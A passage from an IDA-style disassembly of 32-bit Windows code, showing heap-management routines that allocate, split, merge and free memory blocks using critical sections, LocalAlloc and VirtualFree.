loc_11860:				; CODE XREF: sub_1172C+F0j
					; sub_1172C+F7j
		mov	eax, [esp+28h+var_28]
		xor	edx, edx
		mov	[eax], edx


loc_11867:				; CODE XREF: sub_1172C+9Cj
					; sub_1172C+E7j ...
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_1172C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_11870	proc near		; CODE XREF: sub_11CF4+5Bp
					; sub_11CF4+6Cp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFE8h
		mov	ebx, ecx
		lea	ecx, [eax+3FFFh]
		and	ecx, 0FFFFC000h
		mov	[esp+1Ch+var_1C], ecx
		add	edx, eax
		and	edx, 0FFFFC000h
		mov	[esp+1Ch+var_18], edx
		mov	eax, [esp+1Ch+var_18]
		cmp	eax, [esp+1Ch+var_1C]
		jbe	short loc_118F9
		mov	ecx, ebx
		mov	edx, [esp+1Ch+var_18]
		sub	edx, [esp+1Ch+var_1C]
		mov	eax, [esp+1Ch+var_1C]
		call	sub_115C8
		lea	ecx, [esp+1Ch+var_14]
		mov	edx, ebx
		mov	eax, offset dword_175E4
		call	sub_11218
		mov	ebx, [esp+1Ch+var_14]
		test	ebx, ebx
		jz	short loc_118E2
		lea	ecx, [esp+1Ch+var_C]
		mov	edx, [esp+1Ch+var_10]
		mov	eax, ebx
		call	sub_11440
		mov	eax, [esp+1Ch+var_C]
		mov	[esp+1Ch+var_14], eax
		mov	eax, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_10], eax


loc_118E2:				; CODE XREF: sub_11870+51j
		cmp	[esp+1Ch+var_14], 0
		jz	short loc_118FD
		lea	edx, [esp+1Ch+var_14]
		mov	eax, offset dword_175E4
		call	sub_112A0
		jmp	short loc_118FD
; ---------------------------------------------------------------------------


loc_118F9:				; CODE XREF: sub_11870+28j
		xor	eax, eax
		mov	[ebx], eax


loc_118FD:				; CODE XREF: sub_11870+77j
					; sub_11870+87j
		add	esp, 18h
		pop	ebx
		retn
sub_11870	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_11904	proc near		; CODE XREF: sub_12160+12p
					; sub_1230C+19p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00012F4C SIZE 00000036 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		xor	edx, edx
		push	ebp
		push	offset loc_119CC
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	offset CriticalSection ; lpCriticalSection
		call	InitializeCriticalSection	; InitializeCriticalSection
		cmp	ds:byte_17035, 0
		jz	short loc_11933
		push	offset CriticalSection ; lpCriticalSection
		call	EnterCriticalSection


loc_11933:				; CODE XREF: sub_11904+23j
		mov	eax, offset dword_175D4
		call	sub_11180
		mov	eax, offset dword_175E4
		call	sub_11180
		mov	eax, offset dword_17610
		call	sub_11180
		push	0FF8h		; uBytes
		push	0		; uFlags
		call	LocalAlloc	; LocalAlloc
		mov	ds:hMem, eax
		cmp	ds:hMem, 0
		jz	short loc_119AB
		mov	eax, 3


loc_11970:				; CODE XREF: sub_11904+7Ej
		mov	edx, ds:hMem
		xor	ecx, ecx
		mov	[edx+eax*4-0Ch], ecx
		inc	eax
		cmp	eax, 401h
		jnz	short loc_11970
		mov	[ebp+var_4], offset dword_175F4
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	ds:dword_17600,	eax
		mov	ds:byte_175AC, 1


loc_119AB:				; CODE XREF: sub_11904+65j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_119D3


loc_119B8:				; CODE XREF: sub_11904+CDj
		cmp	ds:byte_17035, 0
		jz	short loc_119CB
		push	offset CriticalSection ; lpCriticalSection
		call	LeaveCriticalSection


loc_119CB:				; CODE XREF: sub_11904+BBj
		retn
; ---------------------------------------------------------------------------


loc_119CC:				; DATA XREF: sub_11904+7o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_119B8
; ---------------------------------------------------------------------------


loc_119D3:				; CODE XREF: sub_11904:loc_119CBj
					; DATA XREF: sub_11904+AFo
		mov	al, ds:byte_175AC
		pop	ecx
		pop	ebp
		retn
sub_11904	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_119DC	proc near		; CODE XREF: sub_13878+37p

var_8		= dword	ptr -8
hMem		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		cmp	ds:byte_175AC, 0
		jz	loc_11AD7
		xor	eax, eax
		push	ebp
		push	offset loc_11AD0
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	ds:byte_17035, 0
		jz	short loc_11A10
		push	offset CriticalSection ; lpCriticalSection
		call	EnterCriticalSection


loc_11A10:				; CODE XREF: sub_119DC+28j
		mov	ds:byte_175AC, 0
		mov	eax, ds:hMem
		push	eax		; hMem
		call	LocalFree	; LocalFree
		xor	eax, eax
		mov	ds:hMem, eax
		mov	eax, ds:dword_175D4
		mov	[ebp+var_8], eax
		jmp	short loc_11A4E
; ---------------------------------------------------------------------------


loc_11A33:				; CODE XREF: sub_119DC+7Aj
		push	8000h		; dwFreeType
		push	0		; dwSize
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		push	eax		; lpAddress
		call	VirtualFree	; VirtualFree
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax


loc_11A4E:				; CODE XREF: sub_119DC+55j
		mov	eax, offset dword_175D4
		cmp	eax, [ebp+var_8]
		jnz	short loc_11A33
		mov	eax, offset dword_175D4
		call	sub_11180
		mov	eax, offset dword_175E4
		call	sub_11180
		mov	eax, offset dword_17610
		call	sub_11180
		mov	eax, ds:dword_175CC
		mov	[ebp+hMem], eax
		cmp	[ebp+hMem], 0
		jz	short loc_11AA5


loc_11A84:				; CODE XREF: sub_119DC+C7j
		mov	eax, [ebp+hMem]
		mov	eax, [eax]
		mov	ds:dword_175CC,	eax
		mov	eax, [ebp+hMem]
		push	eax		; hMem
		call	LocalFree	; LocalFree
		mov	eax, ds:dword_175CC
		mov	[ebp+hMem], eax
		cmp	[ebp+hMem], 0
		jnz	short loc_11A84


loc_11AA5:				; CODE XREF: sub_119DC+A6j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_11AD7


loc_11AB2:				; CODE XREF: sub_119DC+F9j
		cmp	ds:byte_17035, 0
		jz	short loc_11AC5
		push	offset CriticalSection ; lpCriticalSection
		call	LeaveCriticalSection


loc_11AC5:				; CODE XREF: sub_119DC+DDj
		push	offset CriticalSection ; lpCriticalSection
		call	DeleteCriticalSection
		retn
; ---------------------------------------------------------------------------


loc_11AD0:				; DATA XREF: sub_119DC+16o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_11AB2
; ---------------------------------------------------------------------------


loc_11AD7:				; CODE XREF: sub_119DC+Dj
					; sub_119DC+F3j
					; DATA XREF: ...
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_119DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_11ADC	proc near		; CODE XREF: sub_11C3C+6Bp
					; sub_11CB4+25p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFF8h
		cmp	eax, ds:dword_17600
		jnz	short loc_11AF1
		mov	edx, [eax+4]
		mov	ds:dword_17600,	edx


loc_11AF1:				; CODE XREF: sub_11ADC+Aj
		mov	edx, [eax+4]
		mov	[esp+0Ch+var_C], edx
		mov	edx, [eax+8]
		cmp	edx, 1000h
		jg	short loc_11B50
		cmp	eax, [esp+0Ch+var_C]
		jnz	short loc_11B1E
		test	edx, edx
		jns	short loc_11B0E
		add	edx, 3


loc_11B0E:				; CODE XREF: sub_11ADC+2Dj
		sar	edx, 2
		mov	eax, ds:hMem
		xor	ecx, ecx
		mov	[eax+edx*4-0Ch], ecx
		jmp	short loc_11B69
; ---------------------------------------------------------------------------


loc_11B1E:				; CODE XREF: sub_11ADC+29j
		test	edx, edx
		jns	short loc_11B25
		add	edx, 3


loc_11B25:				; CODE XREF: sub_11ADC+44j
		sar	edx, 2
		mov	ecx, ds:hMem
		mov	ebx, [esp+0Ch+var_C]
		mov	[ecx+edx*4-0Ch], ebx
		mov	eax, [eax]
		mov	[esp+0Ch+var_8], eax
		mov	eax, [esp+0Ch+var_C]
		mov	edx, [esp+0Ch+var_8]
		mov	[eax], edx
		mov	eax, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_C]
		mov	[eax+4], edx
		jmp	short loc_11B69
; ---------------------------------------------------------------------------


loc_11B50:				; CODE XREF: sub_11ADC+24j
		mov	eax, [eax]
		mov	[esp+0Ch+var_8], eax
		mov	eax, [esp+0Ch+var_C]
		mov	edx, [esp+0Ch+var_8]
		mov	[eax], edx
		mov	eax, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_C]
		mov	[eax+4], edx


loc_11B69:				; CODE XREF: sub_11ADC+40j
					; sub_11ADC+72j
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_11ADC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_11B70	proc near		; CODE XREF: sub_11CF4+Fp
		push	ebx
		push	ecx
		mov	ecx, esp
		mov	edx, ds:dword_17610
		mov	[ecx], edx
		jmp	short loc_11B96
; ---------------------------------------------------------------------------


loc_11B7E:				; CODE XREF: sub_11B70+2Dj
		mov	edx, [ecx]
		mov	edx, [edx+8]
		cmp	eax, edx
		jb	short loc_11B90
		mov	ebx, [ecx]
		add	edx, [ebx+0Ch]
		cmp	eax, edx
		jb	short loc_11BAD


loc_11B90:				; CODE XREF: sub_11B70+15j
		mov	edx, [ecx]
		mov	edx, [edx]
		mov	[ecx], edx


loc_11B96:				; CODE XREF: sub_11B70+Cj
		mov	edx, offset dword_17610
		cmp	edx, [ecx]
		jnz	short loc_11B7E
		mov	ds:dword_175B0,	3
		xor	eax, eax
		mov	[ecx], eax


loc_11BAD:				; CODE XREF: sub_11B70+1Ej
		mov	eax, [ecx]
		pop	edx
		pop	ebx
		retn
sub_11B70	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_11BB4	proc near		; CODE XREF: sub_11CF4+7Ep
					; sub_11EF4+68p

var_8		= dword	ptr -8

		push	ebx
		push	ecx
		mov	ecx, edx
		sub	ecx, 4
		lea	ebx, [ecx+eax]
		mov	[esp+8+var_8], ebx
		cmp	edx, 10h
		jl	short loc_11BD9
		mov	edx, [esp+8+var_8]
		mov	dword ptr [edx], 80000007h
		mov	edx, ecx
		call	sub_11DB0
		pop	edx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_11BD9:				; CODE XREF: sub_11BB4+10j
		cmp	edx, 4
		jl	short loc_11BED
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx
		mov	eax, [esp+8+var_8]
		mov	[eax], ecx


loc_11BED:				; CODE XREF: sub_11BB4+28j
		pop	edx
		pop	ebx
		retn
sub_11BB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_11BF0	proc near		; CODE XREF: sub_11C14+Dp
					; sub_11EA8+36p ...
		inc	ds:dword_1759C
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		and	edx, 7FFFFFFCh
		sub	edx, 4
		add	ds:dword_175A0,	edx
		call	sub_1230C
		retn
sub_11BF0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_11C14	proc near		; CODE XREF: sub_11CF4+A0p
		cmp	edx, 0Ch
		jl	short loc_11C27
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		call	sub_11BF0
		retn
; ---------------------------------------------------------------------------


loc_11C27:				; CODE XREF: sub_11C14+3j
		cmp	edx, 4
		jl	short loc_11C36
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx


loc_11C36:				; CODE XREF: sub_11C14+16j
		add	eax, edx
		and	dword ptr [eax], 0FFFFFFFEh
		retn
sub_11C14	endp


; =============== S U B	R O U T	I N E =======================================



sub_11C3C	proc near		; CODE XREF: sub_11EF4+36p

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		mov	ecx, edx
		and	ecx, 80000002h
		cmp	ecx, 80000002h
		jz	short loc_11C60
		mov	ds:dword_175B0,	4


loc_11C60:				; CODE XREF: sub_11C3C+18j
		mov	ebx, edx
		and	ebx, 7FFFFFFCh
		sub	eax, ebx
		mov	ecx, eax
		xor	edx, [ecx]
		test	edx, 0FFFFFFFEh
		jz	short loc_11C80
		mov	ds:dword_175B0,	5


loc_11C80:				; CODE XREF: sub_11C3C+38j
		test	byte ptr [ecx],	1
		jz	short loc_11CAE
		mov	edx, eax
		sub	edx, 0Ch
		mov	esi, [edx+8]
		sub	eax, esi
		mov	[esp+0Ch+var_C], eax
		mov	eax, [esp+0Ch+var_C]
		cmp	esi, [eax+8]
		jz	short loc_11CA4
		mov	ds:dword_175B0,	6


loc_11CA4:				; CODE XREF: sub_11C3C+5Cj
		mov	eax, [esp+0Ch+var_C]
		call	sub_11ADC
		add	ebx, esi


loc_11CAE:				; CODE XREF: sub_11C3C+47j
		mov	eax, ebx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_11C3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_11CB4	proc near		; CODE XREF: sub_11EF4+4Fp

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	ebx, eax
		xor	esi, esi
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_11CCF
		and	eax, 7FFFFFFCh
		add	esi, eax
		add	ebx, eax
		mov	eax, [ebx]


loc_11CCF:				; CODE XREF: sub_11CB4+Ej
		test	al, 2
		jnz	short loc_11CEB
		mov	[esp+0Ch+var_C], ebx
		mov	eax, [esp+0Ch+var_C]
		call	sub_11ADC
		mov	eax, [esp+0Ch+var_C]
		mov	eax, [eax+8]
		add	esi, eax
		add	ebx, eax
		and	dword ptr [ebx], 0FFFFFFFEh


loc_11CEB:				; CODE XREF: sub_11CB4+1Dj
		mov	eax, esi
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_11CB4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_11CF4	proc near		; CODE XREF: sub_11DB0+A7p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	esi, edx
		mov	ebp, eax
		xor	ebx, ebx
		mov	eax, ebp
		call	sub_11B70
		mov	[esp+1Ch+var_14], eax
		cmp	[esp+1Ch+var_14], 0
		jz	loc_11DA6
		mov	eax, [esp+1Ch+var_14]
		mov	edi, [eax+8]
		mov	eax, edi
		mov	edx, [esp+1Ch+var_14]
		add	eax, [edx+0Ch]
		mov	edx, eax
		lea	ecx, [esi+ebp]
		sub	edx, ecx
		cmp	edx, 0Ch
		jg	short loc_11D37
		mov	esi, eax
		sub	esi, ebp


loc_11D37:				; CODE XREF: sub_11CF4+3Dj
		mov	eax, ebp
		sub	eax, edi
		cmp	eax, 0Ch
		jge	short loc_11D56
		mov	eax, [esp+1Ch+var_14]
		mov	edx, ebp
		sub	edx, [eax+8]
		add	edx, esi
		mov	ecx, esp
		mov	eax, edi
		call	sub_11870
		jmp	short loc_11D65
; ---------------------------------------------------------------------------


loc_11D56:				; CODE XREF: sub_11CF4+4Aj
		mov	ecx, esp
		mov	edx, esi
		sub	edx, 4
		lea	eax, [ebp+4]
		call	sub_11870


loc_11D65:				; CODE XREF: sub_11CF4+60j
		mov	edi, [esp+1Ch+var_1C]
		test	edi, edi
		jz	short loc_11DA6
		mov	edx, edi
		sub	edx, ebp
		mov	eax, ebp
		call	sub_11BB4
		mov	edx, [esp+1Ch+var_14]
		mov	edx, [edx+8]
		mov	ecx, [esp+1Ch+var_14]
		add	edx, [ecx+0Ch]
		mov	eax, edi
		add	eax, [esp+1Ch+var_18]
		cmp	edx, eax
		jbe	short loc_11D99
		lea	edx, [esi+ebp]
		sub	edx, eax
		call	sub_11C14


loc_11D99:				; CODE XREF: sub_11CF4+99j
		mov	edx, esp
		mov	eax, [esp+1Ch+var_14]
		call	sub_112A0
		mov	bl, 1


loc_11DA6:				; CODE XREF: sub_11CF4+1Dj
					; sub_11CF4+76j
		mov	eax, ebx
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_11CF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_11DB0	proc near		; CODE XREF: sub_11BB4+1Dp
					; sub_12018+EEp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF4h
		mov	ebx, edx
		mov	esi, eax
		mov	[esp+14h+var_14], esi
		mov	eax, [esp+14h+var_14]
		mov	[eax+8], ebx
		mov	eax, [esp+14h+var_14]
		add	eax, ebx
		sub	eax, 0Ch
		mov	[eax+8], ebx
		cmp	ebx, 1000h
		jg	short loc_11E4B
		mov	eax, ebx
		test	eax, eax
		jns	short loc_11DDE
		add	eax, 3


loc_11DDE:				; CODE XREF: sub_11DB0+29j
		sar	eax, 2
		mov	edx, ds:hMem
		mov	edx, [edx+eax*4-0Ch]
		mov	[esp+14h+var_10], edx
		cmp	[esp+14h+var_10], 0
		jnz	short loc_11E19
		mov	edx, ds:hMem
		mov	ecx, [esp+14h+var_14]
		mov	[edx+eax*4-0Ch], ecx
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_14]
		mov	[eax+4], edx
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_14]
		mov	[eax], edx
		jmp	loc_11EA1
; ---------------------------------------------------------------------------


loc_11E19:				; CODE XREF: sub_11DB0+44j
		mov	eax, [esp+14h+var_10]
		mov	eax, [eax]
		mov	[esp+14h+var_C], eax
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_10]
		mov	[eax+4], edx
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_C]
		mov	[eax], edx
		mov	eax, [esp+14h+var_10]
		mov	edx, [esp+14h+var_14]
		mov	[eax], edx
		mov	eax, [esp+14h+var_C]
		mov	edx, [esp+14h+var_14]
		mov	[eax+4], edx
		jmp	short loc_11EA1
; ---------------------------------------------------------------------------


loc_11E4B:				; CODE XREF: sub_11DB0+23j
		cmp	ebx, 3C00h
		jl	short loc_11E60
		mov	edx, ebx
		mov	eax, esi
		call	sub_11CF4
		test	al, al
		jnz	short loc_11EA1


loc_11E60:				; CODE XREF: sub_11DB0+A1j
		mov	eax, ds:dword_17600
		mov	[esp+14h+var_10], eax
		mov	eax, [esp+14h+var_14]
		mov	ds:dword_17600,	eax
		mov	eax, [esp+14h+var_10]
		mov	eax, [eax]
		mov	[esp+14h+var_C], eax
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_10]
		mov	[eax+4], edx
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_C]
		mov	[eax], edx
		mov	eax, [esp+14h+var_10]
		mov	edx, [esp+14h+var_14]
		mov	[eax], edx
		mov	eax, [esp+14h+var_C]
		mov	edx, [esp+14h+var_14]
		mov	[eax+4], edx


loc_11EA1:				; CODE XREF: sub_11DB0+64j
					; sub_11DB0+99j ...
		add	esp, 0Ch
		pop	esi
		pop	ebx
		retn
sub_11DB0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_11EA8	proc near		; CODE XREF: sub_11EF4+Fp
					; sub_1230C+11Dp ...
		cmp	ds:dword_17604,	0
		jle	short locret_11EF1
		cmp	ds:dword_17604,	0Ch
		jge	short loc_11EC6
		mov	ds:dword_175B0,	7
		jmp	short locret_11EF1
; ---------------------------------------------------------------------------


loc_11EC6:				; CODE XREF: sub_11EA8+10j
		mov	eax, ds:dword_17604
		or	eax, 2
		mov	edx, ds:dword_17608
		mov	[edx], eax
		mov	eax, ds:dword_17608
		add	eax, 4
		call	sub_11BF0
		xor	eax, eax
		mov	ds:dword_17608,	eax
		xor	eax, eax
		mov	ds:dword_17604,	eax

locret_11EF1:				; CODE XREF: sub_11EA8+7j
					; sub_11EA8+1Cj
		retn
sub_11EA8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_11EF4	proc near		; CODE XREF: sub_11F80+18p
					; sub_11FAC+1Dp

var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFF0h
		mov	esi, eax
		lea	edi, [esp+1Ch+var_1C]
		movsd
		movsd
		mov	edi, esp
		call	sub_11EA8
		lea	ecx, [esp+1Ch+var_14]
		mov	edx, edi
		mov	eax, offset dword_17610
		call	sub_11218
		mov	ebx, [esp+1Ch+var_14]
		test	ebx, ebx
		jnz	short loc_11F24
		xor	eax, eax
		jmp	short loc_11F76
; ---------------------------------------------------------------------------


loc_11F24:				; CODE XREF: sub_11EF4+2Aj
		mov	eax, [edi]
		cmp	ebx, eax
		jnb	short loc_11F34
		call	sub_11C3C
		sub	[edi], eax
		add	[edi+4], eax


loc_11F34:				; CODE XREF: sub_11EF4+34j
		mov	eax, [edi]
		add	eax, [edi+4]
		mov	esi, ebx
		add	esi, [esp+1Ch+var_10]
		cmp	eax, esi
		jnb	short loc_11F4B
		call	sub_11CB4
		add	[edi+4], eax


loc_11F4B:				; CODE XREF: sub_11EF4+4Dj
		mov	eax, [edi]
		add	eax, [edi+4]
		cmp	esi, eax
		jnz	short loc_11F65
		sub	eax, 4
		mov	edx, 4
		call	sub_11BB4
		sub	dword ptr [edi+4], 4


loc_11F65:				; CODE XREF: sub_11EF4+5Ej
		mov	eax, [edi]
		mov	ds:dword_17608,	eax
		mov	eax, [edi+4]
		mov	ds:dword_17604,	eax
		mov	al, 1


loc_11F76:				; CODE XREF: sub_11EF4+2Ej
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_11EF4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_11F80	proc near		; CODE XREF: sub_12018+76p

var_C		= dword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edx, esp
		lea	eax, [ebx+4]
		call	sub_11684
		cmp	[esp+0Ch+var_C], 0
		jz	short loc_11FA1
		mov	eax, esp
		call	sub_11EF4
		test	al, al
		jnz	short loc_11FA5


loc_11FA1:				; CODE XREF: sub_11F80+14j
		xor	eax, eax
		jmp	short loc_11FA7
; ---------------------------------------------------------------------------


loc_11FA5:				; CODE XREF: sub_11F80+1Fj
		mov	al, 1


loc_11FA7:				; CODE XREF: sub_11F80+23j
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_11F80	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_11FAC	proc near		; CODE XREF: sub_124E4+1C3p

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		mov	ecx, esp
		lea	edx, [esi+4]
		mov	eax, ebx
		call	sub_1172C
		cmp	[esp+10h+var_10], 0
		jz	short loc_11FD2
		mov	eax, esp
		call	sub_11EF4
		test	al, al
		jnz	short loc_11FD6


loc_11FD2:				; CODE XREF: sub_11FAC+19j
		xor	eax, eax
		jmp	short loc_11FD8
; ---------------------------------------------------------------------------


loc_11FD6:				; CODE XREF: sub_11FAC+24j
		mov	al, 1


loc_11FD8:				; CODE XREF: sub_11FAC+28j
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_11FAC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_11FE0	proc near		; CODE XREF: sub_12018+68p
		push	ecx
		mov	edx, esp
		xor	ecx, ecx
		mov	[edx], ecx
		test	eax, eax
		jns	short loc_11FEE
		add	eax, 3


loc_11FEE:				; CODE XREF: sub_11FE0+9j
		sar	eax, 2
		cmp	eax, 400h
		jg	short loc_12011


loc_11FF8:				; CODE XREF: sub_11FE0+2Fj
		mov	ecx, ds:hMem
		mov	ecx, [ecx+eax*4-0Ch]
		mov	[edx], ecx
		cmp	dword ptr [edx], 0
		jnz	short loc_12011
		inc	eax
		cmp	eax, 401h
		jnz	short loc_11FF8


loc_12011:				; CODE XREF: sub_11FE0+16j
					; sub_11FE0+27j
		mov	eax, [edx]
		pop	edx
		retn
sub_11FE0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_12018	proc near		; CODE XREF: sub_12160+173p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	ebx, eax
		lea	esi, [esp+1Ch+var_14]
		mov	edi, offset dword_17600
		mov	ebp, offset dword_17604


loc_1202F:				; CODE XREF: sub_12018+8Cj
		mov	eax, ds:dword_175F8
		mov	[esi], eax
		mov	eax, [esi]
		cmp	ebx, [eax+8]
		jle	loc_120EC
		mov	eax, [edi]
		mov	[esi], eax
		mov	eax, [esi]
		mov	eax, [eax+8]
		cmp	ebx, eax
		jle	loc_120EC
		mov	edx, [esi]
		mov	[edx+8], ebx


loc_12057:				; CODE XREF: sub_12018+4Bj
		mov	edx, [esi]
		mov	edx, [edx+4]
		mov	[esi], edx
		mov	edx, [esi]
		cmp	ebx, [edx+8]
		jg	short loc_12057
		mov	edx, [edi]
		mov	[edx+8], eax
		mov	eax, [esi]
		cmp	eax, [edi]
		jz	short loc_12076
		mov	eax, [esi]
		mov	[edi], eax
		jmp	short loc_120EC
; ---------------------------------------------------------------------------


loc_12076:				; CODE XREF: sub_12018+56j
		cmp	ebx, 1000h
		jg	short loc_1208C
		mov	eax, ebx
		call	sub_11FE0
		mov	[esi], eax
		cmp	dword ptr [esi], 0
		jnz	short loc_120EC


loc_1208C:				; CODE XREF: sub_12018+64j
		mov	eax, ebx
		call	sub_11F80
		test	al, al
		jnz	short loc_120A1
		xor	eax, eax
		mov	[esp+1Ch+var_1C], eax
		jmp	loc_12155
; ---------------------------------------------------------------------------


loc_120A1:				; CODE XREF: sub_12018+7Dj
		cmp	ebx, [ebp+0]
		jg	short loc_1202F
		sub	[ebp+0], ebx
		cmp	dword ptr [ebp+0], 0Ch
		jge	short loc_120B7
		add	ebx, [ebp+0]
		xor	eax, eax
		mov	[ebp+0], eax


loc_120B7:				; CODE XREF: sub_12018+95j
		mov	eax, ds:dword_17608
		mov	[esp+1Ch+var_18], eax
		add	ds:dword_17608,	ebx
		mov	eax, ebx
		or	eax, 2
		mov	edx, [esp+1Ch+var_18]
		mov	[edx], eax
		mov	eax, [esp+1Ch+var_18]
		add	eax, 4
		mov	[esp+1Ch+var_1C], eax
		inc	ds:dword_1759C
		sub	ebx, 4
		add	ds:dword_175A0,	ebx
		jmp	short loc_12155
; ---------------------------------------------------------------------------


loc_120EC:				; CODE XREF: sub_12018+23j
					; sub_12018+34j ...
		mov	eax, [esi]
		call	sub_11ADC
		mov	eax, [esi]
		mov	edx, [eax+8]
		mov	eax, edx
		sub	eax, ebx
		cmp	eax, 0Ch
		jl	short loc_1210D
		mov	edx, [esi]
		add	edx, ebx
		xchg	eax, edx
		call	sub_11DB0
		jmp	short loc_1212B
; ---------------------------------------------------------------------------


loc_1210D:				; CODE XREF: sub_12018+E7j
		mov	ebx, edx
		mov	eax, [esi]
		cmp	eax, [edi]
		jnz	short loc_1211C
		mov	eax, [esi]
		mov	eax, [eax+4]
		mov	[edi], eax


loc_1211C:				; CODE XREF: sub_12018+FBj
		mov	eax, [esi]
		add	eax, ebx
		mov	[esp+1Ch+var_18], eax
		mov	eax, [esp+1Ch+var_18]
		and	dword ptr [eax], 0FFFFFFFEh


loc_1212B:				; CODE XREF: sub_12018+F3j
		mov	eax, [esi]
		mov	[esp+1Ch+var_18], eax
		mov	eax, ebx
		or	eax, 2
		mov	edx, [esp+1Ch+var_18]
		mov	[edx], eax
		mov	eax, [esp+1Ch+var_18]
		add	eax, 4
		mov	[esp+1Ch+var_1C], eax
		inc	ds:dword_1759C
		sub	ebx, 4
		add	ds:dword_175A0,	ebx


loc_12155:				; CODE XREF: sub_12018+84j
					; sub_12018+D2j
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_12018	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_12160	proc near		; CODE XREF: sub_126E8+5Dp
					; sub_127B4+Ap	...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		mov	ebx, eax
